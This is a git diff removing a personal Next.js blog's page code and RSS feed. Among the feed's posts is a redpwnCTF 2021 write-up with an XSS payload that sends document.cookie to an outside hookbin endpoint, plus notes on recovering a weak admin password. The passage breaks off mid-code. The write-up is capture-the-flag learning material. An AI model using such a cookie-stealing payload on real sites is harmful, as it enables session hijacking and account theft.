+++ /dev/null @@ -1,34 +0,0 @@ -import Head from 'next/head'; -import { useEffect, useState } from 'react'; - -import '../styles/button.css'; -import '../styles/card.css'; -import '../styles/code.css'; -import '../styles/globals.css'; -import '../styles/image.css'; -import '../styles/layout.css'; -import '../styles/navbar.css'; -import '../styles/print.css'; -import '../styles/search.css'; -import '../styles/tags.css'; -import '../styles/theme.css'; - -export default function Blog({ Component, pageProps }) { - var [dark, setDark] = useState(false); - useEffect(() => { - let colorSchemeQueryList = window.matchMedia('(prefers-color-scheme: dark)'); - setDark(!!colorSchemeQueryList.matches); - colorSchemeQueryList.addEventListener('change', e => setDark(!!e.matches)); - }, []); - - return <> - <Head> - <html lang='en-US' /> - <link rel='preload' as='style' href='/font/font.css' onLoad={() => this.rel = 'stylesheet'} /> - <meta property='og:url' content='https://blog.pipeframe.xyz' /> - <meta property='og:type' content='website' /> - <meta name='theme-color' content={dark ? '#0D0C1A' : '#EFE9F4'} /> - </Head> - <Component {...pageProps} /> - </>; -} diff --git a/pages/index.tsx b/pages/index.tsx deleted file mode 100644 index 634950d..0000000 --- a/pages/index.tsx +++ /dev/null @@ -1,101 +0,0 @@ -import Head from 'next/head'; -import Button from '../components/button'; -import PostCard from '../components/card'; -import Chapters, { chapter } from '../components/chapters'; -import Navbar, { MobileNavbar, NavbarItem } from '../components/navbar'; -import Seperator from '../components/seperator'; -import { ArticleMeta, getStaticProps as getBlogPage, RenderedArticle } from './post/[id]'; -import { PostsInfo } from './search'; - -import { useEffect, useState } from 'react'; - -// edit this to change the post displayed on the home page and the pinned posts -var posts = ['index', 'software']; - -export default function Home(props: { - posts: Array<{ - props: { - content: string; - meta: ArticleMeta; - }; - }>; -}) { - var [posts, setPosts] = useState<PostsInfo>({ posts: [], valid_tags: [] }); - - useEffect(() => { - (async () => { - var posts = await fetch('/posts.json'); - var postsJson: PostsInfo = await posts.json(); - setPosts(postsJson); - })(); - }, []); - - return <div> - <Head> - <title>Loek's Blog</title> - <meta property='og:site_name' content="Loek's blog" /> - <meta property='og:title' content="Loek's excruciatingly interesting blog" /> - <meta property='og:description' content='This is my personal blog website' /> - </Head> - <div className='centeredPage'> - <div className='titleWrapper'> - <h1>{props.posts[0].props.meta.title}</h1> - </div> - <div className='navAreaWrapper'> - <div className='sticky'> - <Navbar page='home' /> - <NavbarItem title='Pinned posts:' classList={['pinned']} /> - <Chapters - chapters={[ - ...props.posts.slice(1).map(post => { - return { - children: post.props.meta.chapters, - name: post.props.meta.title, - sectionLink: '/post/' + post.props.meta.id, - } as chapter; - }), - ]} - /> - </div> - </div> - <MobileNavbar /> - <div className='contentWrapper'> - {props.posts.map((post, index) => { - return <> - {index != 0 && <h1>{post.props.meta.title}</h1>} - <RenderedArticle content={post.props.content} /> - {index + 1 != props.posts.length && <Seperator />} - {index == 0 && <> - <h2>Recent posts</h2> - <div className='recentPosts'> - {posts.posts.sort((a, b) => ( - new Date(a.date).getTime() - - new Date(b.date).getTime() - )).reverse().slice(0, 4).map(post => { - return <PostCard post={post} />; - })} - </div> - - <div> - <Button text='Go to all posts' href='/search' /> - </div> - <Seperator /> - </>} - </>; - })} - </div> - </div> - </div>; -} - -export function getStaticProps() { - var postsContent = []; - - posts.forEach(id => { - postsContent.push(getBlogPage({ params: { id } })); - }); - - var staticProps = { props: { posts: postsContent } }; - - return staticProps; -} diff --git a/pages/post/[id].tsx b/pages/post/[id].tsx deleted file mode 100644 index 35a41e6..0000000 --- a/pages/post/[id].tsx +++ /dev/null @@ -1,216 +0,0 @@ -import Head from 'next/head'; -import { readdirSync, readFileSync } from 'fs'; -import { join } from 'path'; -import { CSSProperties, ReactNode, useState } from 'react'; -import ReactMarkdown from 'react-markdown'; -import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter'; -import rehypeRaw from 'rehype-raw'; -import gfm from 'remark-gfm'; - -import Chapters, { chapter } from '../../components/chapters'; -import Image from '../../components/image'; -import Navbar, { MobileNavbar } from '../../components/navbar'; -import Seperator from '../../components/seperator'; -import Tags from '../../components/tag'; - -export interface ArticleMeta { - title?: string; - subtitle?: string; - author?: string; - tags?: Array<string>; - date?: string; - chapters?: Array<chapter>; - cover?: string; - id?: string; -} - -var headingLevel = (input: string) => input?.match(/^[#]+/)[0]?.length || 0; - -var sectionID = (input: string) => - input - .replace(/[()\[\]{}!@#$%^&*<>?,./\;':"\\|=+]/g, '') - .replace(/\s/g, '-') - .toLowerCase(); - -function Heading(props: { - children?: ReactNode; - level?: number; -}) { - var HeadingTag = 'h' + props.level as keyof JSX.IntrinsicElements; - return <HeadingTag id={sectionID(props.children[0])} children={props.children} />; -} - -function Code(props: { - className?: string; - children?: ReactNode; -}) { - var language = /language-(\w+)/.exec(props.className || ''); - if (!language) return <code children={props.children} className={props.className} />; - return <SyntaxHighlighter - language={language[1]} - children={props.children.toString().trim()} - useInlineStyles={false} - PreTag='div' - style={{}} - />; -} - -export function RenderedArticle(props: { content: string; }) { - return <ReactMarkdown - rehypePlugins={[rehypeRaw]} - remarkPlugins={[gfm]} - children={props.content} - components={{ - img: ({ node, ...props }) => <Image src={props.src as string} alt={props.alt as string} />, - hr: Seperator, - - h1: Heading, // TODO: fix this garbage - h2: Heading, - h3: Heading, - h4: Heading, - h5: Heading, - h6: Heading, - - code: Code, - }} - />; -} - -var collapsed = false; -function toggle() { - collapsed = !collapsed; - document.documentElement.style.setProperty('--collapse-horizontal-gap', Number(collapsed).toString()); -} - -export default function Post(props: { - content: string; - meta: ArticleMeta; -}) { - return <div> - <Head> - <title>{props.meta.title} - Loek's Blog</title> - <meta property='og:site_name' content={props.meta.date} /> - <meta property='og:title' content={props.meta.title} /> - <meta property='og:description' content={props.meta.subtitle} /> - </Head> - <div className='centeredPage'> - <div className='titleWrapper'> - <h1 onClick={toggle}>{props.meta.title}</h1> - <p className='subtile'>{props.meta.subtitle}</p> - {props.meta.tags && <Tags tags={props.meta.tags} />} - </div> - <div className='navAreaWrapper'> - <div className='sticky'> - <Navbar /> - <Chapters chapters={props.meta.chapters} /> - </div> - </div> - <MobileNavbar /> - <div className='contentWrapper'> - <RenderedArticle content={props.content} /> - </div> - </div> - </div>; -} - -var parseTag = { - 'title': (val: string) => val, - 'subtitle': (val: string) => val, - 'author': (val: string) => val, - 'cover': (val: string) => val, - 'tags': (val: string) => val.split(',').map(i => i.trim()), - 'date': (val: string) => new Date(val).toDateString(), -}; - -function parseMeta(file: Array<string>): ArticleMeta { - var meta: ArticleMeta = {}; - - file.forEach(line => { - if (!line.startsWith('[meta]: ')) return; - var tags = line.match(/\[meta\]:\s+\<(.+?)\>\s+\((.+?)\)/); - if (!tags || !tags[1] || !tags[2]) return; - if (!parseTag.hasOwnProperty(tags[1])) return; - meta[tags[1]] = parseTag[tags[1]](tags[2]); - }); - - return meta; -} - -function parseToCRecursive(headings: Array<string>): Array<chapter> { - interface WIPchapter extends chapter { - unparsedChildren?: Array<string>; - } - var children: Array<WIPchapter> = []; - - var lowestLevel = headingLevel(headings[0]); - var currentChildIndex = -1; - for (var i in headings) { - var localLevel = headingLevel(headings[i]); - if (localLevel == lowestLevel) { - var chapterName = headings[i].match(/^[#]+\s+(.+)/)[1]; - children.push({ - name: chapterName, - sectionLink: '#' + sectionID(chapterName), - unparsedChildren: [], - }); - currentChildIndex += 1; - } else { - children[currentChildIndex].unparsedChildren.push(headings[i]); - } - } - - children.map(child => { - child.children = parseToCRecursive(child.unparsedChildren); - delete child.unparsedChildren; - - return child; - }); - - return children as Array<chapter>; -} - -function parseToC(file: Array<string>): Array<chapter> { - var fileAsStr = file.join('\n'); - fileAsStr = fileAsStr.replace(/```.*?```/gs, ''); // filter out code blocks from table of contents - var fileAsArr = fileAsStr.split('\n'); - var chapterStrings = fileAsArr.filter(line => line.startsWith('#')); - return parseToCRecursive(chapterStrings); -} - -function preprocessor(fileContent: string) { - var fileAsArr = fileContent.split('\n'); - var meta = parseMeta(fileAsArr); - meta.chapters = parseToC(fileAsArr); - var result = fileAsArr.join('\n').trim(); - return { meta, result }; -} - -export function getStaticProps(props: { params: { id: string; }; }) { - var filename = join('posts/', props.params.id + '.md'); - var filecontent = readFileSync(filename).toString().trim(); - - var parsed = preprocessor(filecontent); - parsed.meta.id = props.params.id; - - return { - props: { - content: parsed.result, - meta: parsed.meta, - }, - }; -} - -export function getStaticPaths() { - var files = readdirSync('posts').filter(f => f.endsWith('.md')); - - return { - paths: files.map((f) => { - return { - params: { - id: f.substr(0, f.length - 3), - }, - }; - }), - fallback: false, - }; -} diff --git a/pages/search.tsx b/pages/search.tsx deleted file mode 100644 index 14f5e15..0000000 --- a/pages/search.tsx +++ /dev/null @@ -1,170 +0,0 @@ -import Head from 'next/head'; -import Fuse from 'fuse.js'; -import { useEffect, useState } from 'react'; - -import Navbar, { MobileNavbar } from '../components/navbar'; -import Tags from '../components/tag'; - -import SearchOutlinedIcon from '@material-ui/icons/SearchOutlined'; - -function SearchBar(props: { searchFunction: () => void; }) { - return <div className='searchBar'> - <input - className='input' - id='searchInput' - placeholder='Search for posts...' - onChange={() => props.searchFunction()} - spellCheck='false' - autoComplete='off' - /> - <button className='button' onClick={() => props.searchFunction()}> - <SearchOutlinedIcon /> - </button> - </div>; -} - -export interface Post { - title: string; - subtitle: string; - author: string; - date: string; - id: string; - cover: string; - tags: Array<string>; -} - -export interface PostsInfo { - valid_tags: Array<string>; - posts: Array<Post>; -} - -function Post(props: { post: Post; }) { - return <a className='post' href={'/post/' + props.post.id}> - <b className='title'>{props.post.title}</b> - {props.post.subtitle && <p className='subtitle'>{props.post.subtitle}</p>} - <p className='authordate'> - Written by {props.post.author} on {new Date(props.post.date).toLocaleString('en-us', { - month: 'long', - day: 'numeric', - })} - </p> - <Tags tags={props.post.tags} /> - </a>; -} - -function Posts(props: { posts: Array<Post>; }) { - return <div className='searchResults'> - {props.posts.map(post => <Post post={post} key={Math.random().toString()} />)} - </div>; -} - -function searchFilter(query: string, tags: Array<string>) { - var output = { - query: '', - tags: [], - }; - - // remove string literals from tag matching - var queryWithoutLiterals = query.replace(/\".+?\"/g, ''); - - // find tags and remove them from the query - tags.forEach(tag => { - var index = queryWithoutLiterals.indexOf(tag); - if (index == -1) return; - - // remove tag from query - queryWithoutLiterals = queryWithoutLiterals.substr(0, index) - + queryWithoutLiterals.substr(index + tag.length); - - output.tags.push(tag); - }); - - // add back in the string literals (janky just gets pasted on end) - output.query = queryWithoutLiterals + ' ' - + (query.match(/\".+?\"/g) - ?.map(r => r.substr(1, r.length - 2)) - .join(' ') || ''); - return output; -} - -export default function SearchPage() { - var [posts, setPosts] = useState<PostsInfo>({ posts: [], valid_tags: [] }); - var [query, setQuery] = useState('-'); - var [visiblePosts, setVisiblePosts] = useState<Array<Post>>([]); - - var fuse = new Fuse(posts.posts, { - keys: [ - 'title', - 'subtitle', - 'author', - 'date', - 'id', - 'tags', - ], - isCaseSensitive: false, - }); - - useEffect(() => { - (async () => { - var query = new URLSearchParams(window.location.search).get('q') || ''; - if (query) { - (document.getElementById('searchInput') as HTMLInputElement).value = query; - } - - var posts = await fetch('/posts.json'); - var postsJson: PostsInfo = await posts.json(); - setPosts(postsJson); - setQuery(query); - })(); - }, []); - - useEffect(() => { - var search = searchFilter(query, posts.valid_tags); - - if (search.query.length == 0) { - var results = posts.posts; - } else { - var fuseSearch = fuse.search(search.query); - var results = fuseSearch.map(res => res.item); - } - - results = results.filter(result => { - for (var i in search.tags) { - if (!result.tags.includes(search.tags[i])) { - return false; - } - } - return true; - }); - results = results.sort((a, b) => new Date(b.date).getTime() - new Date(a.date).getTime()); - setVisiblePosts(results); - }, [query]); - - return <div> - <Head> - <title>Search - Loek's Blog</title> - <meta property='og:site_name' content="Loek's blog" /> - <meta property='og:title' content="Loek's excruciatingly interesting blog" /> - <meta property='og:description' content='This is my personal blog website' /> - </Head> - <div className='centeredPage'> - <div className='titleWrapper'> - <h1>Search for posts</h1> - </div> - <div className='navAreaWrapper'> - <div className='sticky'> - <Navbar page='search' /> - </div> - </div> - <MobileNavbar /> - <div className='contentWrapper'> - <SearchBar - searchFunction={() => { - setTimeout(() => setQuery((document.getElementById('searchInput') as HTMLInputElement).value)); - }} - /> - <Posts posts={visiblePosts} /> - </div> - </div> - </div>; -} diff --git a/public/atom.xml b/public/atom.xml deleted file mode 100644 index 9f9430b..0000000 --- a/public/atom.xml +++ /dev/null @@ -1,4403 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"> - <channel> - <title>Loek's excruciatingly interesting blog</title> - <description>This is where I post updates on things that I do</description> - <language>en-us</language> - <link>https://blog.pipeframe.xyz/atom.xml</link> - <atom:link href="https://blog.pipeframe.xyz/atom.xml" rel="self" type="application/rss+xml"/> - <item> - <title>Connect 4 beta live!</title> - <guid>connect4</guid> - <link>/post/connect4</link> - <pubDate>April 24 2021</pubDate> - <description><div class="contentWrapper"> - <p> - My connect four website is currently online as a public beta. You can visit the -website at - <a href="https://connect4.pipeframe.xyz"> - https://connect4.pipeframe.xyz - </a> - . A list of known bugs is on the -homepage, and all other issues should be submitted to - <a href="https://github.com/lonkaars/connect-4/issues"> - GitHub - </a> - . - </p> - <p> - If I encounter some very interesing bug that I think deserves it's own blog -post I'll write one about it of course. I have one more week from now to worry -about the connect four website, but after that I'm going to start preparing for -my school exams. - </p> -</div></description> - </item> - <item> - <title>My git setup</title> - <guid>git</guid> - <link>/post/git</link> - <pubDate>April 28 2021</pubDate> - <description><div class="contentWrapper"> - <h2 id="overview"> - Overview - </h2> - <p> - I have two mechanisms set up for accessing my git server. I use gitolite for -ssh access and permission management. I also have cgit set up which generates -html pages for viewing your repositories and also hosts your repositories over -http, or https if you have it set up. - </p> - <h2 id="ssh-access-with-gitolite"> - SSH Access with gitolite - </h2> - <p> - Gitolite was a pain in the ass to set up because I didn't understand umasks -before I started trying to set it up. A - <em> - umask - </em> - is like the opposite of what -you'd enter when running - <code> - chmod - </code> - . For example: if I run - <code> - touch test - </code> - , I will -now have a file with the same permissions as - <code> - chmod 644 - </code> - . That looks something -like this: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ touch test - </span> - $ ls -l - <!-- --> - total bla bla - <!-- --> - -rw-r--r-- 1 loek users 0 Apr 28 12:28 test - <!-- --> - $ chmod 644 test - <!-- --> - $ ls -l - <!-- --> - total bla bla - <!-- --> - -rw-r--r-- 1 loek users 0 Apr 28 12:28 test - <!-- --> - $ # notice the same permissions on the 'test' file - </code> - </div> - </pre> - <p> - If I want gitolite to create repositories with default permissions so other -users can read the repositories, I have to set my umask to the opposite of 644. -Here's a quick explanation of - <code> - ls -l - </code> - 's output: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - -rw-r--r-- * user group size date time filename - </span> - |└┬┘└┬┘└┬┘ - <!-- --> - | | | └all users - <!-- --> - | | └owner group - <!-- --> - | └owner user - <!-- --> - └type - </code> - </div> - </pre> - <p> - Each digit in a - <code> - chmod - </code> - command sets the permission for the file owner, file -group, then everyone. That looks something like this: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ chmod 644 test - </span> - <!-- --> - decimal: 6 4 4 - <!-- --> - binary: 110 100 100 - <!-- --> - ls -l: - rw- r-- r-- - </code> - </div> - </pre> - <p> - Then we take the opposite of this to get the umask: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - $ chmod 755 directory -R - </span> - <!-- --> - ls -l: d rwx r-x r-x - <!-- --> - binary: 000 010 010 - <!-- --> - decimal: 0 2 2 - </code> - </div> - </pre> - <p> - And now my - <code> - .gitolite.rc - </code> - : - </p> - <pre> - <div class="prismjs"> - <code class="language-perl" style="white-space:pre"> - <span class="token variable"> - %RC - </span> - <span class=""> - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - </span> - <span class=""> - UMASK - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 0022 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - ROLES - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - READERS - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - WRITERS - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - ENABLE - </span> - <span class="token operator"> - => - </span> - <span class=""> - </span> - <span class="token punctuation"> - [ - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'ssh-authkeys' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'git-config' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'daemon' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token string"> - 'gitweb' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <h2 id="https-access-with-cgit"> - HTTP(S) Access with cgit - </h2> - <p> - Cgit is probably the easiest thing to set up. It has great built-in -documentation ( - <code> - man 5 cgitrc - </code> - ). Pretty much all configuration is in - <code> - /etc/cgitrc - </code> - (css/syntax highlighting isn't in there). The only reason I'm -posting my config here is because for some reason, the order of the options in -cgit's config matters: - </p> - <pre> - <div class="prismjs"> - <code class="language-rc" style="white-space:pre"> - <span class=""> - # - </span> - # cgit config - <!-- --> - # see cgitrc(5) for details - <!-- --> - <!-- --> - cache-size=0 - <!-- --> - enable-commit-graph=1 - <!-- --> - <!-- --> - css=/cgit.css - <!-- --> - logo=/cgit.png - <!-- --> - <!-- --> - virtual-root=/ - <!-- --> - remove-suffix=1 - <!-- --> - <!-- --> - root-title=git :tada: - <!-- --> - <!-- --> - ## - <!-- --> - ## List of common mimetypes - <!-- --> - ## - <!-- --> - mimetype.gif=image/gif - <!-- --> - mimetype.html=text/html - <!-- --> - mimetype.jpg=image/jpeg - <!-- --> - mimetype.jpeg=image/jpeg - <!-- --> - mimetype.pdf=application/pdf - <!-- --> - mimetype.png=image/png - <!-- --> - mimetype.svg=image/svg+xml - <!-- --> - <!-- --> - # Highlight source code with python pygments-based highlighter - <!-- --> - source-filter=/usr/lib/cgit/filters/syntax-highlighting.py - <!-- --> - <!-- --> - # Format markdown, restructuredtext, manpages, text files, and html files - <!-- --> - # through the right converters - <!-- --> - about-filter=/usr/lib/cgit/filters/about-formatting.sh - <!-- --> - <!-- --> - ## - <!-- --> - ## Search for these files in the root of the default branch of repositories - <!-- --> - ## for coming up with the about page: - <!-- --> - ## - <!-- --> - readme=:README.md - <!-- --> - readme=:readme.md - <!-- --> - readme=:README.rst - <!-- --> - readme=:readme.rst - <!-- --> - readme=:README.txt - <!-- --> - readme=:readme.txt - <!-- --> - readme=:README - <!-- --> - readme=:readme - <!-- --> - readme=:INSTALL.md - <!-- --> - readme=:install.md - <!-- --> - readme=:INSTALL.mkd - <!-- --> - readme=:install.mkd - <!-- --> - readme=:INSTALL.rst - <!-- --> - readme=:install.rst - <!-- --> - readme=:INSTALL.html - <!-- --> - readme=:install.html - <!-- --> - readme=:INSTALL.htm - <!-- --> - readme=:install.htm - <!-- --> - readme=:INSTALL.txt - <!-- --> - readme=:install.txt - <!-- --> - readme=:INSTALL - <!-- --> - readme=:install - <!-- --> - <!-- --> - scan-path=/mnt/scf/git/repositories - </code> - </div> - </pre> -</div></description> - </item> - <item> - <title>Loek's excruciatingly interesting blog</title> - <guid>index</guid> - <link>/post/index</link> - <pubDate>April 12 2021</pubDate> - <description><div class="contentWrapper"> - <p> - Welcome to my blog page! This is where I post updates on things that I do such -as: - </p> - <ul> - <li> - Cool open source software that I think you should use - </li> - <li> - How to set up self-hosted applications - </li> - <li> - Rants about Microsoft Windows - </li> - <li> - Maybe some recipes I dunno - </li> - </ul> - <p> - The page you're looking at right now is also open-source! The code for this -page can be found on - <a href="https://github.com/lonkaars/blog"> - GitHub - </a> - , and should -also be available on - <a href="https://git.pipeframe.xyz"> - my private git server - </a> - . - </p> -</div></description> - </item> - <item> - <title>redpwnCTF 2021</title> - <guid>redpwn2021</guid> - <link>/post/redpwn2021</link> - <pubDate>July 13 2021</pubDate> - <description><div class="contentWrapper"> - <p> - This is the first 'real' CTF I've participated in. About two weeks ago, a -friend of mine was stuck on some challenges from the Radboud CTF. This was a -closed CTF more geared towards beginners (high school students), and only had a -few challenges which required deeper technical knowledge of web servers and -programming. Willem solved most of the challenges, and I helped solve 3 more. - </p> - <p> - Apart from those challenges, basically all my hacking knowledge comes from -computerphile videos, liveoverflow videos and making applications myself. - </p> - <h2 id="challenges"> - Challenges - </h2> - <h3 id="webpastebin-1"> - web/pastebin-1 - </h3> - <p> - This challenge is a simple XSS exploit. The website that's vulnerable is -supposed to be a clone of pastebin. I can enter any text into the paste area, -and it will get inserted as HTML code into the website when someone visits the -generated link. - </p> - <p> - The challenge has two sites: one with the pastebin clone, and one that visits -any pastebin url as the website administrator. The goal of this challenge is -given by it's description: - </p> - <blockquote> - <p> - Ah, the classic pastebin. Can you get the admin's cookies? - </p> - </blockquote> - <p> - In JS, you can read all cookies without the - <code> - HttpOnly - </code> - attribute by reading - <code> - document.cookie - </code> - . This allows us to read the cookies from the admin's browser, -but now we have to figure out a way to get them sent back to us. - </p> - <p> - Luckily, there's a free service called - <a href="https://hookbin.com/"> - hookbin - </a> - that -gives you an http endpoint to send anything to, and look at the request -details. - </p> - <p> - Combining these two a simple paste can be created: - </p> - <pre> - <div class="prismjs"> - <code class="language-html" style="white-space:pre"> - <span class="token tag punctuation"> - < - </span> - <span class="token tag"> - script - </span> - <span class="token tag punctuation"> - > - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript keyword"> - var - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript operator"> - = - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript keyword"> - new - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript class-name"> - XMLHttpRequest - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript method function property-access"> - open - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript string"> - "post" - </span> - <span class="token script language-javascript punctuation"> - , - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript string"> - "https://hookb.in/<endpoint url>" - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - post - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript method function property-access"> - send - </span> - <span class="token script language-javascript punctuation"> - ( - </span> - <span class="token script language-javascript dom variable"> - document - </span> - <span class="token script language-javascript punctuation"> - . - </span> - <span class="token script language-javascript property-access"> - cookie - </span> - <span class="token script language-javascript punctuation"> - ) - </span> - <span class="token script language-javascript punctuation"> - ; - </span> - <span class="token script language-javascript"> - </span> - <span class="token script language-javascript"> - </span> - <span class="token tag punctuation"> - </ - </span> - <span class="token tag"> - script - </span> - <span class="token tag punctuation"> - > - </span> - </code> - </div> - </pre> - <h3 id="cryptoscissor"> - crypto/scissor - </h3> - <p> - I wasn't planning on including this one, but it makes use of the excellent - <a href="https://gchq.github.io/CyberChef/"> - CyberChef - </a> - tool. The flag is given in the -challenge description, and is encrypted using a ceasar/rot13 cipher. A simple -python implementation of this cypher is included with the challenge, but I just -put it into CyberChef and started trying different offsets. - </p> - <h3 id="revwstrings"> - rev/wstrings - </h3> - <blockquote> - <p> - Some strings are wider than normal... - </p> - </blockquote> - <p> - This challenge has a binary that uses a simple - <code> - strcmp - </code> - to check the flag. When -running the program, the following output is visible: - </p> - <pre> - <div class="prismjs"> - <code class="language-sh" style="white-space:pre"> - <span class=""> - # ./wstrings - </span> - Welcome to flag checker 1.0. - <!-- --> - Give me a flag> - </code> - </div> - </pre> - <p> - My first stategy was running the - <code> - strings - </code> - utility on the - <code> - wstrings - </code> - binary, -but I didn't find the flag. What was interesting to me though was that I also -couldn't find the prompt text... This immediately made me check for other -string encodings. - </p> - <p> - Running the - <code> - strings - </code> - utility with the - <code> - -eL - </code> - flag tells - <code> - strings - </code> - to look for -32-bit little-endian encoded strings, and lo and behold the flag shows up! - </p> - <p> - This is because ascii strings are less 'wide' than 32-bit strings: - </p> - <pre> - <code> - --- ascii --- - -hex -> 0x68 0x65 0x6c 0x6c 0x6f -str -> h e l l o - </code> - </pre> - <p> - Notice how each character is represented by a single byte each (8 bits) in -ascii, as opposed to 32-bit characters in 32-bit land. - </p> - <pre> - <code> - --- 32-bit land --- - -hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f -str -> h e l l o - </code> - </pre> - <p> - I think 32-bit strings also have practical use for things like non-english -texts such as hebrew, chinese or japanese. Those characters take up more space -anyways, and you would waste less space by not using unicode escape characters. - </p> - <h3 id="websecure"> - web/secure - </h3> - <blockquote> - <p> - Just learned about encryption—now, my website is unhackable! - </p> - </blockquote> - <p> - This challenge is pretty simple if you know some of JS's quirks. Right at the -top of the file is an sqlite3 expression in JS: - </p> - <pre> - <div class="prismjs"> - <code class="language-js" style="white-space:pre"> - <span class="token comment"> - //////// - </span> - <span class=""> - </span> - <span class=""> - db - </span> - <span class="token punctuation"> - . - </span> - <span class="token method function property-access"> - exec - </span> - <span class="token punctuation"> - ( - </span> - <span class="token template-string template-punctuation string"> - ` - </span> - <span class="token template-string string"> - INSERT INTO users (username, password) VALUES ( - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - ${ - </span> - <span class="token template-string interpolation function"> - btoa - </span> - <span class="token template-string interpolation punctuation"> - ( - </span> - <span class="token template-string interpolation string"> - 'admin' - </span> - <span class="token template-string interpolation punctuation"> - ) - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - } - </span> - <span class="token template-string string"> - ', - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - ${ - </span> - <span class="token template-string interpolation function"> - btoa - </span> - <span class="token template-string interpolation punctuation"> - ( - </span> - <span class="token template-string interpolation"> - crypto - </span> - <span class="token template-string interpolation punctuation"> - . - </span> - <span class="token template-string interpolation property-access"> - randomUUID - </span> - <span class="token template-string interpolation punctuation"> - ) - </span> - <span class="token template-string interpolation interpolation-punctuation punctuation"> - } - </span> - <span class="token template-string string"> - ' - </span> - <span class="token template-string string"> - ) - </span> - <span class="token template-string template-punctuation string"> - ` - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - </code> - </div> - </pre> - <p> - This section of code immediately jumped out to me because I noticed that - <code> - crypto.randomUUID - </code> - wansn't actually being called. - </p> - <p> - Because the 'random uuid' is being fed into - <code> - btoa() - </code> - it becomes a base64 -encoded string. However, - <code> - btoa() - </code> - also expects a string as input. Because every -object in JS has a - <code> - .toString() - </code> - method, when you pass it into a function -expecting another type, JS will happily convert it for you without warning. - </p> - <p> - This means that the admin's password will always be a base64-encoded version of - <code> - crypto.randomUUID - </code> - 's source code. We can get that base64-encoded source code -by running the following in a NodeJS REPL: - </p> - <pre> - <div class="prismjs"> - <code class="language-js" style="white-space:pre"> - <span class="token comment"> - // import file system and crypto modules - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - var - </span> - <span class=""> - writeFileSync - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - require - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - 'fs' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - . - </span> - <span class="token property-access"> - writeFileSync - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - var - </span> - <span class=""> - crypto - </span> - <span class="token operator"> - = - </span> - <span class=""> - </span> - <span class="token function"> - require - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - 'crypto' - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token comment"> - // write source to file - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - writeFileSync - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - './randomUUID.js' - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token function"> - btoa - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - crypto - </span> - <span class="token punctuation"> - . - </span> - <span class="token property-access"> - randomUUID - </span> - <span class="token punctuation"> - . - </span> - <span class="token method function property-access"> - toString - </span> - <span class="token punctuation"> - ( - 